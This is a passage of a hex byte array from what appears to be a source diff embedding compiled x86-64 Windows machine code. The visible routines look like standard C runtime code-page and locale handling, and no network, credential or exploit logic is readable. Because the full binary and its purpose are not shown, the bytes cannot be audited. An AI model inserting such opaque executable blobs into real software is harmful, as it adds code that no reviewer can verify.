0xe8, 0x09, 0xa7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x58, + 0x44, 0x39, 0x78, 0x0c, 0x75, 0x18, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, + 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x45, 0x8b, 0xc7, 0xeb, 0x3a, 0xe8, 0x59, 0xf1, 0xff, 0xff, 0x85, + 0xc0, 0x75, 0x1b, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, 0x0c, 0x48, 0x8b, + 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x41, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, + 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x44, 0x8b, 0xc7, 0x48, 0x8d, 0x54, 0x24, 0x70, 0x48, 0x8d, 0x4d, + 0xfc, 0xe8, 0xb6, 0xf8, 0xff, 0xff, 0x4c, 0x8b, 0x7d, 0x80, 0x85, 0xc0, + 0x49, 0x8b, 0xcf, 0x48, 0x0f, 0x45, 0xcf, 0x80, 0x39, 0x2e, 0x75, 0x11, + 0x8a, 0x41, 0x01, 0x84, 0xc0, 0x74, 0x20, 0x3c, 0x2e, 0x75, 0x06, 0x40, + 0x38, 0x79, 0x02, 0x74, 0x16, 0x4d, 0x8b, 0xcc, 0x4d, 0x8b, 0xc5, 0x48, + 0x8b, 0xd6, 0xe8, 0x1d, 0xfc, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x75, + 0x5b, 0x33, 0xff, 0x40, 0x38, 0x7d, 0x98, 0x74, 0x08, 0x49, 0x8b, 0xcf, + 0xe8, 0xeb, 0xd4, 0xff, 0xff, 0x48, 0x8d, 0x55, 0xd0, 0x48, 0x8b, 0xcb, + 0xff, 0x15, 0x22, 0x89, 0x00, 0x00, 0x41, 0xbf, 0xe9, 0xfd, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x85, 0x0d, 0xff, 0xff, 0xff, 0x49, 0x8b, 0x04, 0x24, + 0x49, 0x8b, 0x54, 0x24, 0x08, 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xfa, 0x03, + 0x4c, 0x3b, 0xf2, 0x74, 0x29, 0x49, 0x2b, 0xd6, 0x4a, 0x8d, 0x0c, 0xf0, + 0x4c, 0x8d, 0x0d, 0xa5, 0xf6, 0xff, 0xff, 0x41, 0xb8, 0x08, 0x00, 0x00, + 0x00, 0xe8, 0x76, 0x40, 0x00, 0x00, 0xeb, 0x0e, 0x80, 0x7d, 0x98, 0x00, + 0x74, 0x08, 0x49, 0x8b, 0xcf, 0xe8, 0x92, 0xd4, 0xff, 0xff, 0x48, 0x8b, + 0xcb, 0xff, 0x15, 0xbd, 0x88, 0x00, 0x00, 0x80, 0x7d, 0xc8, 0x00, 0x74, + 0x09, 0x48, 0x8b, 0x4d, 0xb0, 0xe8, 0x7a, 0xd4, 0xff, 0xff, 0x8b, 0xc7, + 0x48, 0x8b, 0x8d, 0x20, 0x02, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0x1d, + 0x80, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x88, 0x03, 0x00, 0x00, 0x48, + 0x81, 0xc4, 0x30, 0x03, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, + 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xe9, 0x57, 0xf9, 0xff, + 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x40, + 0x33, 0xdb, 0x41, 0x8b, 0xe8, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0x48, + 0x85, 0xc9, 0x75, 0x19, 0x38, 0x5a, 0x28, 0x74, 0x03, 0x88, 0x5a, 0x28, + 0x48, 0x89, 0x5a, 0x10, 0x48, 0x89, 0x5a, 0x18, 0x48, 0x89, 0x5a, 0x20, + 0xe9, 0xbd, 0x00, 0x00, 0x00, 0x66, 0x39, 0x19, 0x75, 0x30, 0x48, 0x39, + 0x5a, 0x18, 0x75, 0x22, 0x38, 0x5a, 0x28, 0x74, 0x03, 0x88, 0x5a, 0x28, + 0xe8, 0xcf, 0xd3, 0xff, 0xff, 0xb9, 0x22, 0x00, 0x00, 0x00, 0x89, 0x08, + 0x88, 0x5f, 0x28, 0x48, 0x89, 0x5f, 0x18, 0x8b, 0xd9, 0xe9, 0x90, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x42, 0x10, 0x88, 0x18, 0xeb, 0xc2, 0x48, 0x89, + 0x5c, 0x24, 0x38, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x30, + 0x4c, 0x8b, 0xc6, 0x89, 0x5c, 0x24, 0x28, 0x33, 0xd2, 0x8b, 0xcd, 0x48, + 0x89, 0x5c, 0x24, 0x20, 0xe8, 0x0f, 0x0d, 0x00, 0x00, 0x48, 0x63, 0xd0, + 0x85, 0xc0, 0x75, 0x16, 0xff, 0x15, 0x26, 0x87, 0x00, 0x00, 0x8b, 0xc8, + 0xe8, 0x0b, 0xd3, 0xff, 0xff, 0xe8, 0x76, 0xd3, 0xff, 0xff, 0x8b, 0x18, + 0xeb, 0x48, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x3b, 0xd1, 0x76, 0x0a, 0x38, + 0x5f, 0x28, 0x74, 0x90, 0x88, 0x5f, 0x28, 0xeb, 0x8b, 0x48, 0x8b, 0x47, + 0x10, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x4c, 0x8b, + 0xc6, 0x48, 0x89, 0x5c, 0x24, 0x30, 0x33, 0xd2, 0x89, 0x4c, 0x24, 0x28, + 0x8b, 0xcd, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb8, 0x0c, 0x00, 0x00, + 0x48, 0x63, 0xc8, 0x85, 0xc0, 0x74, 0xa9, 0x48, 0xff, 0xc9, 0x48, 0x89, + 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, + 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x7c, + 0x24, 0x18, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x70, 0xfe, 0xff, 0xff, 0x48, + 0x81, 0xec, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x4b, 0x35, 0x01, + 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00, 0x00, 0x41, + 0x8b, 0xf8, 0x48, 0x8b, 0xda, 0x41, 0xb8, 0x05, 0x01, 0x00, 0x00, 0x48, + 0x8d, 0x54, 0x24, 0x70, 0xff, 0x15, 0xf2, 0x86, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x14, 0xff, 0x15, 0x68, 0x86, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x4d, + 0xd2, 0xff, 0xff, 0x33, 0xc0, 0xe9, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x60, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xc7, + 0x48, 0x89, 0x5c, 0x24, 0x40, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x48, + 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x89, 0x5c, 0x24, 0x50, 0xc6, 0x44, + 0x24, 0x68, 0x00, 0xe8, 0x14, 0xa4, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, + 0x28, 0x41, 0xb8, 0xe9, 0xfd, 0x00, 0x00, 0x44, 0x39, 0x40, 0x0c, 0x75, + 0x15, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x47, 0x48, 0x8b, 0x44, 0x24, + 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0xeb, 0x39, 0xe8, 0x61, + 0xee, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x1a, 0x38, 0x44, 0x24, 0x38, 0x74, + 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, 0x80, 0x7c, 0x24, + 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, + 0x03, 0x00, 0x00, 0xfd, 0x45, 0x33, 0xc0, 0x48, 0x8d, 0x54, 0x24, 0x40, + 0x48, 0x8d, 0x4c, 0x24, 0x70, 0xe8, 0xf6, 0xfd, 0xff, 0xff, 0x8b, 0x44, + 0x24, 0x60, 0x48, 0x8b, 0x8d, 0x80, 0x01, 0x00, 0x00, 0x48, 0x33, 0xcc, + 0xe8, 0xdb, 0x7d, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x90, 0x02, 0x00, + 0x00, 0x49, 0x8b, 0x5b, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, + 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, + 0xd8, 0x8b, 0x0a, 0xe8, 0xc8, 0xf2, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x03, + 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xc0, 0x18, 0x48, 0x8b, 0x0d, 0x57, 0x50, 0x01, 0x00, 0x48, 0x85, 0xc9, + 0x74, 0x6f, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x41, 0xb8, 0x02, 0x00, 0x00, + 0x00, 0x45, 0x8b, 0xc8, 0x41, 0x8d, 0x50, 0x7e, 0x0f, 0x10, 0x00, 0x0f, + 0x11, 0x01, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, + 0x40, 0x20, 0x0f, 0x11, 0x41, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, + 0x49, 0x30, 0x0f, 0x10, 0x40, 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, + 0x48, 0x50, 0x0f, 0x11, 0x49, 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, + 0x41, 0x60, 0x48, 0x03, 0xca, 0x0f, 0x10, 0x48, 0x70, 0x0f, 0x11, 0x49, + 0xf0, 0x48, 0x03, 0xc2, 0x49, 0x83, 0xe9, 0x01, 0x75, 0xb6, 0x8a, 0x00, + 0x88, 0x01, 0xeb, 0x27, 0x33, 0xd2, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, + 0xe8, 0x4b, 0x8e, 0xff, 0xff, 0xe8, 0x42, 0xd1, 0xff, 0xff, 0xc7, 0x00, + 0x16, 0x00, 0x00, 0x00, 0xe8, 0x17, 0xd0, 0xff, 0xff, 0x41, 0xb8, 0x02, + 0x00, 0x00, 0x00, 0x41, 0x8d, 0x50, 0x7e, 0x48, 0x8b, 0x03, 0x48, 0x8b, + 0x08, 0x48, 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0x48, 0x05, 0x19, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xb7, 0x4f, 0x01, 0x00, 0x48, 0x85, 0xc9, + 0x74, 0x5e, 0x48, 0x85, 0xc0, 0x74, 0x4c, 0x0f, 0x10, 0x00, 0x0f, 0x11, + 0x01, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, 0x40, + 0x20, 0x0f, 0x11, 0x41, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, 0x49, + 0x30, 0x0f, 0x10, 0x40, 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, 0x48, + 0x50, 0x0f, 0x11, 0x49, 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, 0x41, + 0x60, 0x48, 0x03, 0xca, 0x0f, 0x10, 0x48, 0x70, 0x0f, 0x11, 0x49, 0xf0, + 0x48, 0x03, 0xc2, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xb6, 0xeb, 0x1d, 0x33, + 0xd2, 0x41, 0xb8, 0x00, 0x01, 0x00, 0x00, 0xe8, 0xb4, 0x8d, 0xff, 0xff, + 0xe8, 0xab, 0xd0, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, + 0x80, 0xcf, 0xff, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, + 0x8b, 0x11, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x02, 0x83, 0xf8, 0x01, + 0x75, 0x1b, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, 0x8d, 0x05, + 0xb0, 0x35, 0x01, 0x00, 0x48, 0x39, 0x01, 0x74, 0x08, 0x48, 0x8b, 0x09, + 0xe8, 0x8f, 0xd0, 0xff, 0xff, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x10, 0x48, + 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x82, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x01, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x08, 0x48, 0x8b, + 0x81, 0x88, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x00, 0x8b, 0x0f, 0xe8, 0x89, + 0xf1, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, + 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x8b, 0xd9, + 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xac, 0xa1, 0xff, 0xff, + 0x83, 0x25, 0xcd, 0x4e, 0x01, 0x00, 0x00, 0x83, 0xfb, 0xfe, 0x75, 0x12, + 0xc7, 0x05, 0xbe, 0x4e, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, + 0x80, 0x84, 0x00, 0x00, 0xeb, 0x15, 0x83, 0xfb, 0xfd, 0x75, 0x14, 0xc7, + 0x05, 0xa7, 0x4e, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, 0x61, + 0x84, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x17, 0x83, 0xfb, 0xfc, 0x75, 0x12, + 0x48, 0x8b, 0x44, 0x24, 0x28, 0xc7, 0x05, 0x89, 0x4e, 0x01, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x8b, 0x58, 0x0c, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, + 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x40, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x59, 0x18, + 0x48, 0x8b, 0xf1, 0xbd, 0x01, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, + 0x8b, 0xc5, 0x33, 0xd2, 0xe8, 0x8b, 0x8c, 0xff, 0xff, 0x33, 0xc0, 0x48, + 0x8d, 0x7e, 0x0c, 0x48, 0x89, 0x46, 0x04, 0xb9, 0x06, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x86, 0x20, 0x02, 0x00, 0x00, 0x0f, 0xb7, 0xc0, 0x66, 0xf3, + 0xab, 0x48, 0x8d, 0x3d, 0x98, 0x34, 0x01, 0x00, 0x48, 0x2b, 0xfe, 0x8a, + 0x04, 0x1f, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x48, 0x83, 0xed, 0x01, 0x75, + 0xf2, 0x48, 0x8d, 0x8e, 0x19, 0x01, 0x00, 0x00, 0xba, 0x00, 0x01, 0x00, + 0x00, 0x8a, 0x04, 0x39, 0x88, 0x01, 0x48, 0xff, 0xc1, 0x48, 0x83, 0xea, + 0x01, 0x75, 0xf2, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, + 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x48, + 0x8d, 0xac, 0x24, 0x80, 0xf9, 0xff, 0xff, 0x48, 0x81, 0xec, 0x80, 0x07, + 0x00, 0x00, 0x48, 0x8b, 0x05, 0x5f, 0x31, 0x01, 0x00, 0x48, 0x33, 0xc4, + 0x48, 0x89, 0x85, 0x70, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x8b, 0x49, + 0x04, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x0f, 0x84, 0x3d, 0x01, 0x00, + 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xff, 0x15, 0x60, 0x83, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x84, 0x2a, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8d, + 0x4c, 0x24, 0x70, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x88, 0x01, 0xff, 0xc0, + 0x48, 0xff, 0xc1, 0x3b, 0xc6, 0x72, 0xf5, 0x8a, 0x44, 0x24, 0x56, 0x48, + 0x8d, 0x54, 0x24, 0x56, 0xc6, 0x44, 0x24, 0x70, 0x20, 0xeb, 0x20, 0x44, + 0x0f, 0xb6, 0x42, 0x01, 0x0f, 0xb6, 0xc8, 0xeb, 0x0b, 0x3b, 0xce, 0x73, + 0x0c, 0xc6, 0x44, 0x0c, 0x70, 0x20, 0xff, 0xc1, 0x41, 0x3b, 0xc8, 0x76, + 0xf0, 0x48, 0x83, 0xc2, 0x02, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xdc, 0x8b, + 0x43, 0x04, 0x4c, 0x8d, 0x44, 0x24, 0x70, 0x83, 0x64, 0x24, 0x30, 0x00, + 0x44, 0x8b, 0xce, 0x89, 0x44, 0x24, 0x28, 0xba, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x85, 0x70, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x44, + 0x24, 0x20, 0xe8, 0xe9, 0x34, 0x00, 0x00, 0x83, 0x64, 0x24, 0x40, 0x00, + 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x8b, 0x43, 0x04, 0x44, 0x8b, 0xc6, 0x48, + 0x8b, 0x93, 0x20, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x38, + 0x48, 0x8d, 0x45, 0x70, 0x89, 0x74, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, + 0x28, 0x89, 0x74, 0x24, 0x20, 0xe8, 0xba, 0x46, 0x00, 0x00, 0x83, 0x64, + 0x24, 0x40, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x8b, 0x43, 0x04, 0x41, + 0xb8, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x20, 0x02, 0x00, 0x00, + 0x33, 0xc9, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d, 0x85, 0x70, 0x01, 0x00, + 0x00, 0x89, 0x74, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x89, 0x74, + 0x24, 0x20, 0xe8, 0x81, 0x46, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0xf6, 0x02, 0x01, 0x74, 0x0b, + 0x80, 0x4c, 0x18, 0x18, 0x10, 0x8a, 0x4c, 0x05, 0x6f, 0xeb, 0x15, 0xf6, + 0x02, 0x02, 0x74, 0x0e, 0x80, 0x4c, 0x18, 0x18, 0x20, 0x8a, 0x8c, 0x05, + 0x6f, 0x01, 0x00, 0x00, 0xeb, 0x02, 0x32, 0xc9, 0x88, 0x8c, 0x18, 0x18, + 0x01, 0x00, 0x00, 0x48, 0x83, 0xc2, 0x02, 0x48, 0xff, 0xc0, 0x48, 0x83, + 0xee, 0x01, 0x75, 0xc7, 0xeb, 0x43, 0x33, 0xd2, 0xbe, 0x00, 0x01, 0x00, + 0x00, 0x8d, 0x4a, 0x01, 0x44, 0x8d, 0x42, 0x9f, 0x41, 0x8d, 0x40, 0x20, + 0x83, 0xf8, 0x19, 0x77, 0x0a, 0x80, 0x4c, 0x0b, 0x18, 0x10, 0x8d, 0x42, + 0x20, 0xeb, 0x12, 0x41, 0x83, 0xf8, 0x19, 0x77, 0x0a, 0x80, 0x4c, 0x0b, + 0x18, 0x20, 0x8d, 0x42, 0xe0, 0xeb, 0x02, 0x32, 0xc0, 0x88, 0x84, 0x0b, + 0x18, 0x01, 0x00, 0x00, 0xff, 0xc2, 0x48, 0xff, 0xc1, 0x3b, 0xd6, 0x72, + 0xc7, 0x48, 0x8b, 0x8d, 0x70, 0x06, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, + 0x2c, 0x79, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x80, 0x07, 0x00, 0x00, + 0x49, 0x8b, 0x5b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0xe3, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8b, + 0xec, 0x48, 0x83, 0xec, 0x40, 0x40, 0x8a, 0xf2, 0x8b, 0xd9, 0x49, 0x8b, + 0xd1, 0x49, 0x8b, 0xc8, 0xe8, 0x97, 0x01, 0x00, 0x00, 0x8b, 0xcb, 0xe8, + 0xdc, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x30, 0x8b, 0xf8, 0x4c, 0x8b, + 0x81, 0x88, 0x00, 0x00, 0x00, 0x41, 0x3b, 0x40, 0x04, 0x75, 0x07, 0x33, + 0xc0, 0xe9, 0xb8, 0x00, 0x00, 0x00, 0xb9, 0x28, 0x02, 0x00, 0x00, 0xe8, + 0x4c, 0xcd, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, + 0x95, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, 0x30, 0xba, 0x04, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x44, + 0x8d, 0x42, 0x7c, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x01, 0x0f, 0x10, 0x48, + 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, 0x40, 0x20, 0x0f, 0x11, 0x41, + 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, 0x49, 0x30, 0x0f, 0x10, 0x40, + 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, 0x48, 0x50, 0x0f, 0x11, 0x49, + 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, 0x41, 0x60, 0x49, 0x03, 0xc8, + 0x0f, 0x10, 0x48, 0x70, 0x49, 0x03, 0xc0, 0x0f, 0x11, 0x49, 0xf0, 0x48, + 0x83, 0xea, 0x01, 0x75, 0xb6, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x01, 0x0f, + 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x48, 0x8b, 0x40, 0x20, 0x48, + 0x89, 0x41, 0x20, 0x8b, 0xcf, 0x21, 0x13, 0x48, 0x8b, 0xd3, 0xe8, 0x11, + 0x02, 0x00, 0x00, 0x8b, 0xf8, 0x83, 0xf8, 0xff, 0x75, 0x25, 0xe8, 0x51, + 0xcc, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0x83, 0xcf, 0xff, + 0x48, 0x8b, 0xcb, 0xe8, 0x60, 0xcc, 0xff, 0xff, 0x8b, 0xc7, 0x48, 0x8b, + 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0x5e, 0x5d, 0xc3, 0x40, + 0x84, 0xf6, 0x75, 0x05, 0xe8, 0x4f, 0xe3, 0xff, 0xff, 0x48, 0x8b, 0x45, + 0x30, 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x83, 0xc8, 0xff, 0xf0, + 0x0f, 0xc1, 0x01, 0x83, 0xf8, 0x01, 0x75, 0x1c, 0x48, 0x8b, 0x45, 0x30, + 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x32, 0x31, + 0x01, 0x00, 0x48, 0x3b, 0xc8, 0x74, 0x05, 0xe8, 0x14, 0xcc, 0xff, 0xff, + 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x45, + 0x30, 0x33, 0xdb, 0x48, 0x89, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x45, 0x30, 0x8b, 0x88, 0xa8, 0x03, 0x00, 0x00, 0x85, 0x0d, 0x42, 0x36, + 0x01, 0x00, 0x75, 0x84, 0x48, 0x8d, 0x45, 0x30, 0x48, 0x89, 0x45, 0xf0, + 0x4c, 0x8d, 0x4d, 0xe4, 0x48, 0x8d, 0x45, 0x38, 0x48, 0x89, 0x45, 0xf8, + 0x4c, 0x8d, 0x45, 0xf0, 0x8d, 0x43, 0x05, 0x48, 0x8d, 0x55, 0xe8, 0x89, + 0x45, 0xe4, 0x48, 0x8d, 0x4d, 0xe0, 0x89, 0x45, 0xe8, 0xe8, 0xae, 0xf9, + 0xff, 0xff, 0x40, 0x84, 0xf6, 0x0f, 0x84, 0x4d, 0xff, 0xff, 0xff, 0x48, + 0x8b, 0x45, 0x38, 0x48, 0x8b, 0x08, 0x48, 0x89, 0x0d, 0xab, 0x30, 0x01, + 0x00, 0xe9, 0x3a, 0xff, 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x8b, 0x05, 0xd9, 0x35, 0x01, 0x00, 0x85, + 0x81, 0xa8, 0x03, 0x00, 0x00, 0x74, 0x13, 0x48, 0x83, 0xb9, 0x90, 0x00, + 0x00, 0x00, 0x00, 0x74, 0x09, 0x48, 0x8b, 0x99, 0x88, 0x00, 0x00, 0x00, + 0xeb, 0x64, 0xb9, 0x05, 0x00, 0x00, 0x00, 0xe8, 0x34, 0xec, 0xff, 0xff, + 0x90, 0x48, 0x8b, 0x9f, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, + 0x30, 0x48, 0x3b, 0x1e, 0x74, 0x3e, 0x48, 0x85, 0xdb, 0x74, 0x22, 0x83, + 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x03, 0x83, 0xf8, 0x01, 0x75, 0x16, 0x48, + 0x8d, 0x05, 0x4a, 0x30, 0x01, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x48, + 0x3b, 0xc8, 0x74, 0x05, 0xe8, 0x27, 0xcb, 0xff, 0xff, 0x48, 0x8b, 0x06, + 0x48, 0x89, 0x87, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, + 0xf0, 0xff, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb9, 0x05, 0x00, 0x00, + 0x00, 0xe8, 0x2e, 0xec, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0x13, 0x48, + 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x0d, 0xc0, 0xff, 0xff, 0x90, + 0x48, 0x83, 0xec, 0x28, 0x80, 0x3d, 0x75, 0x49, 0x01, 0x00, 0x00, 0x75, + 0x4c, 0x48, 0x8d, 0x0d, 0x28, 0x33, 0x01, 0x00, 0x48, 0x89, 0x0d, 0x51, + 